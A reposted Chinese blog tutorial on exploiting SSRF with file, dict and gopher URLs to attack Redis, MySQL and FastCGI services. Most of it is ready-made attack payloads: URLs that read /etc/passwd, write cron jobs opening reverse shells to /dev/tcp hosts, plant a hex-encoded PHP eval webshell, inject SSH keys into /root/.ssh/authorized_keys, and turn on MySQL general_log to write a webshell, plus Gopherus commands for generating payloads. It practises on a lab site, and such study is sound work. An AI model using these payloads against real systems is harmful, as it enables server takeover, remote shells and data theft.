首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

SSRF利用协议中的万金油——Gopher

  • 25-02-16 18:21
  • 4150
  • 11321
blog.csdn.net

目录

Gopher协议简介

SSRF攻击中常用协议

file协议

dict协议

gopher协议

Gopher攻击Redis

探测SSRF以及Redis服务

使用gopher协议写入定时任务

 使用gopher协议写入ssh公钥

Gopherus工具构造gopher协议数据流

Gopher攻击Mysql

Gopher攻击Fastcgi

参考链接



SSRF利用协议的有很多,但本文重点介绍Gopher协议带来的功能。

Gopher协议简介

附上官方介绍:

gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求,gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)


SSRF攻击中常用协议

file协议

file协议主要用于读取服务器本地文件,访问本地的静态资源

file协议数据格式:

file://文件绝对路径名

例如:

file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xml
  • 1
  • 2
  • 3

dict协议

dict协议一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息。当然dict协议也可以用来执行一些服务的命令,如redis

  • 内网主机探测
  • 开放端口探测
  • 端口服务指纹探测
  • 执行命令

注意:dict执行命令多行操作的命令时,只能一次执行单行,需分多次执行。

dict协议数据格式:

ditc://ip:port

ditc://ip:port/命令

例如:

一、dict协议探测端口和服务指纹
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info
 
 
二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
 
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save
 
注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
 
 
三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n\n\n"
dict://127.0.0.1:6379/save
 
若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
 
 
四、dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

gopher协议

上面官方的说明了一下gopher协议介绍,具体如何在ssrf中使用呢?

gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务。

gopher协议数据格式:

gopher://ip:port/_TCP/IP数据流

注意:

  • gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
  • 数据流末尾使用%0d%0a代表消息结束


Gopher攻击Redis

攻击redis之前先了解一下redis的协议数据流格式,方便后面对gopher协议中携带的数据流进行理解。

  • 数据流格式中CR LF表示的就是\r \n
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

简单示例:

  • *4:表示4个参数 config、set、dir、/var/www/html
  • $6:表示每个参数的字节长度 config长度为6
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

Gopher攻击redis服务

 本次测试环境使用在线靶场:https://www.root-me.org/

探测SSRF以及Redis服务

  • 使用file协议读取文件内容

  • 使用dict协议探测开放的端口,可以看到开放了80,443,6379服务

  • 判断redis服务有无身份验证,发现redis存在未授权访问

使用gopher协议写入定时任务

redis未授权常规写入定时任务的操作

set ttt "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1\n\n\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
quite
  • 1
  • 2
  • 3
  • 4
  • 5

gopher协议数据流写入操作 :

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
  • 1

 原始内容为:

*3
$3
set
$3
ttt
$69
 
 
 
*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1
 
 
 
 
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  •  进行写入操作,发现没有写入成功。原因在于:curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode;

再一次进行url编码后进行发包,可以成功看到4个ok,说明四条语句均执行成功

  •  等待1分钟,Vps成功接收到回连的shell

  •  查看写入的key

 可以看到确实成功写入到了redis中

 使用gopher协议写入ssh公钥

常规redis未授权写入ssh公钥操作:

set 1 "\n\n\nid_rsa.pub\n\n\n\n"
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
quite
  • 1
  • 2
  • 3
  • 4
  • 5

gopher协议数据流写入操作 :

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$576%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHSdAmmBYRnUrfOOO0N0Y/fKCLHEqt8aoc3pQPfAKStDL12rlPlf0nmkzQmPcHoHBKW6AEqb2QXWiB2TQFJTBdMXThHdZe4RzN5pLPPlqUg6dZZQhIT0/La+POIyRRVRld+8vwDw1bNpWcnlNPxf77LS9yJxQZzub6o7OWL/w2xWLexSQAYUQ9mflz4qluV+/M4iVRuZ3FNzqDWgeIziDCUaJydBpO1cisMj9TWkXCmGaj5hl1WsrffaIjsdHO6wbrZIERGh/3HDpwXlsVXc2+m9Nyxalh4qeGFVG/Fso7APhVcAfhA3lkNOTwySk+sss6JE2ic3slvIO2zXj1wI/IHMPXNb2nhnVW+WRSDp9OAcDxdLTJK0k2pVlq2yi/dWUjrcZBP3LV9pnb5ASrKmhBzxkqSPnrBhyp55qawKW2rnCeHSg9gMt/OBlMKrGnroZj+w9scuie5OxDy/7Vvr7l8vq2IbzBoWEd5d4dxCDpmtXZS/yEnIo5Y9IIQJNuOvs= root@mk50%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
  • 1

  原始内容为:

gopher://127.0.0.1:6379/_*3
$3
set
$1
1
$576
 
 
 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHSdAmmBYRnUrfOOO0N0Y/fKCLHEqt8aoc3pQPfAKStDL12rlPlf0nmkzQmPcHoHBKW6AEqb2QXWiB2TQFJTBdMXThHdZe4RzN5pLPPlqUg6dZZQhIT0/La+POIyRRVRld+8vwDw1bNpWcnlNPxf77LS9yJxQZzub6o7OWL/w2xWLexSQAYUQ9mflz4qluV+/M4iVRuZ3FNzqDWgeIziDCUaJydBpO1cisMj9TWkXCmGaj5hl1WsrffaIjsdHO6wbrZIERGh/3HDpwXlsVXc2+m9Nyxalh4qeGFVG/Fso7APhVcAfhA3lkNOTwySk+sss6JE2ic3slvIO2zXj1wI/IHMPXNb2nhnVW+WRSDp9OAcDxdLTJK0k2pVlq2yi/dWUjrcZBP3LV9pnb5ASrKmhBzxkqSPnrBhyp55qawKW2rnCeHSg9gMt/OBlMKrGnroZj+w9scuie5OxDy/7Vvr7l8vq2IbzBoWEd5d4dxCDpmtXZS/yEnIo5Y9IIQJNuOvs= root@mk50
 
 
 
 
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*1
$4
save
*1
$4
quit
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  •  进行写入操作,同样的需要将gopher后的数据流进行二次url编码方可成功

  • 查看是否写入的成功 ,可以看到成功写入

  •  随后就可以使用vps进行ssh登录到目标机器上
ssh -i /root/.ssh/id_rsa root@ip
  • 1

Gopherus工具构造gopher协议数据流

使用手动构造比较麻烦,存在一定的失误率,使用gopherus这款工具进行自动化生成payload。该工具支持生成多种服务利用的payload,其中包括了redis、mysql、fastcgi等

  • 工具链接:
https://github.com/tarunkant/Gopherus
  • 1
  •  攻击Redis利用

写入计划任务,反弹shell

python2 gopherus.py --exploit redis
  • 1

 将payload进行稍作修改,即可进行利用。

  • 二次url编码后发包,虽然没有响应包回显,但是通过dict协议进行查看,可以看到写入成功。

  • vps成功接收到了反弹回来的shell


Gopher攻击Mysql

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。

  • 当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证
  • 当无需密码认证时直接发送TCP/IP数据包即可

在ssrf实际利用mysql服务过程中,一般是攻击无密码验证的mysql服务

gopher打mysql,就是利用gopher协议传shell到mysql中,使用gopher协议可以执行sql语句,进而达到写马的操作。

通过dict协议获取到mysql服务对应的端口,随后使用gopherus工具生成mysql的payload即可

 前提条件:

  • 知道网站路径
  • 当前用户对数据库具有执行权限

使用gopher协议执行mysql语句

python2 gopherus.py --exploit mysql
  • 1

ssrf利用gopher协议攻击时,是否需要二次url编码取决于是否由url_exec()造成的ssrf,所以二次编码因情况而定,此处就无需二次url编码。

也可执行写入webshell的操作

除此之外,若当前的数据库用户权限足够,还可以进行general_log日志写马

#数据库用户权限足够情况下,分别执行以下sql语句即可开启general_log日志写马条件。
 
#开启日志记录开关,默认是关闭状态
set global general_log='on';
 
#修改日志存储路径
set global general_log_file='D:\\phpStudy\\WWW\\log.php';
 
#随后就可以写入webshell了
select ;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

由于本地环境存在问题,就借用网上其他师傅的图用一用辣,见谅。

 

成功以后即可使用webshell管理工具连接网站根目录下的log.php一句话木马了。


Gopher攻击Fastcgi

当端口9000(默认端口)暴露在外网时,我们可以伪造fastcgi与后端语言之间的协议报文来进行相关配置修改和一系列攻击。当未暴露在公网时,我们可以通过ssrf进行相同的操作。

 同样的,gopher协议后的数据流是否需要二次url编码取决于是否由curl_exec()造成的ssrf


参考链接

https://cloud.tencent.com/developer/article/1587012

http://iyenn.com/rec/1646268.html

http://iyenn.com/rec/1646269.html

https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher


目录

Gopher协议简介

SSRF攻击中常用协议

file协议

dict协议

gopher协议

Gopher攻击Redis

探测SSRF以及Redis服务

使用gopher协议写入定时任务

 使用gopher协议写入ssh公钥

Gopherus工具构造gopher协议数据流

Gopher攻击Mysql

Gopher攻击Fastcgi

参考链接



SSRF利用协议的有很多,但本文重点介绍Gopher协议带来的功能。

Gopher协议简介

附上官方介绍:

gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求,gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)


SSRF攻击中常用协议

file协议

file协议主要用于读取服务器本地文件,访问本地的静态资源

file协议数据格式:

file://文件绝对路径名

例如:

注:本文转载自blog.csdn.net的zxl2605的文章"https://blog.csdn.net/qq_50854662/article/details/129180268"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2491) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top